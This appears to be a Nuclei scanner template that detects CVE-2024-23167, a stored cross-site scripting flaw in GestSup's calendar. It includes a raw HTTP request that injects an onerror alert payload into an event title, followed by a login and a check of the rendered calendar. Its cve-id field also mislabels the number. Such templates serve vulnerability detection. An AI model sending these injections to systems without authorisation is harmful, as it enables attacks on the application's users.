漏洞描述
GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.
id: CVE-2024-23167
info:
name: GestSup - Cross-Site Scripting
author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741
severity: high
description: |
GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.
impact: |
This vulnerability could allow unauthenticated attackers to compromise users accessing the Calendar feature of the application.
remediation: |
Apply security patches, validate and sanitize inputs to prevent XSS, and ensure proper authentication. Prevent JavaScript execution in the calendar.php file.
reference:
- https://www.synacktiv.com/advisories/multiple-vulnerabilities-on-gestsup-3244
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23167
- https://doc.gestsup.fr/install/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
cvss-score: 8.6
cve-id: CVE-2024-231637
metadata:
max-request: 3
vendor: gestsup
product: gestsup
tags: cve2024,cve,xss,gestsup,vuln
variables:
formatted_date: "{{date_time('2006/01/02')}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /ajax/calendar.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=add_event&title=<img/src/onerror=alert(document.domain)>&start={{formatted_date}} 07:30:00&end={{formatted_date}} 23:00:00&allday=false&technician=1
matchers:
- type: word
part: response
words:
- '{"event_id":"'
- 'text/html'
condition: and
internal: true
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&pass={{password}}&submit=submit
- |
GET /index.php?page=calendar HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'view=activity'
- '?page=calendar'
- '<img/src/onerror=alert(document.domain)>'
condition: and
- type: word
part: header
words:
- text/html
# digest: 490a00463044022017fe855453046efd1adea69bcf4602c7a9aeeac1b55a670653d7a5bef0a9547402200d38b03930653ff2048f5e8545253f14c565f6fb5a17a7d7f5de8ae7010d67c5:922c64590222798bb761d5b6d8e72950